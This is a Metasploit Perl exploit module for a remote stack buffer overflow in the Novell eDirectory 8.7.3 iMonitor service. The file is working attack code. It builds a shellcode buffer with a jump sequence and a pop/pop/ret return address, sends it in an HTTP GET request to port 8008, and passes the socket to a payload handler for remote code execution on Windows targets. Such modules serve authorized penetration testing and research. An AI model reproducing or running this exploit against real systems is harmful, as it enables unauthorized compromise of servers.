package Msf::Exploit::edirectory_imonitor;
use strict;
use base "Msf::Exploit";
use Pex::Text;

my $advanced = { };

my $info =
{
'Name' => 'eDirectory 8.7.3 iMonitor Remote Stack Overflow',
'Version' => '$Revision: 1.1 $',
'Authors' =>
[
'Anonymous',
],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winxp', 'win2k', 'win2003' ],
'Priv' => 1,

'AutoOpts' =>
{
'EXITFUNC' => 'thread'
},

'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 8008 ],
'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
'SSL' => [0, 'BOOL', 'Use SSL'],
},

'Payload' =>
{
'Space' => 0x1036,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%",
'Keys' => ['+ws2ord'],
},

'Description' => Pex::Text::Freeform(qq{
This module exploits a stack overflow in eDirectory 8.7.3 iMonitor
service.
}),

'Refs' =>
[
['BID', 14548],
],

'Targets' =>
[
[ 'Windows (all versions) - eDirectory 8.7.3 iMonitor', 0x63501f15] # pop/pop/ret
],

'Keys' => ['imonitor'],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];

$self->PrintLine( "[*] Attempting to exploit " . $target->[0] );

my $s = Msf::Socket::Tcp->new(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'SSL' => $self->GetVar('SSL'),
);

if ( $s->IsError ) {
$self->PrintLine( '[*] Error creating socket: ' . $s->GetError );
return;
}

# pop/pop/ret in ndsimon.dlm on our jump to our shellcode
my $req = $shellcode . "\x90\x90\xeb\x04" . pack('V', $target->[1]) .
"\xe9\xbd\xef\xff\xff" . ("B" x 0xD0);
my $request =
"GET /nds/$req HTTP/1.1\r\n".
"Accept: */*\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
"Host: $target_host:$target_port\r\n".
"Connection: Close\r\n".
"\r\n";

$s->Send($request);

$self->PrintLine("[*] Overflow request sent, sleeping for four seconds");
select(undef, undef, undef, 4);

$self->Handler($s);
return;
}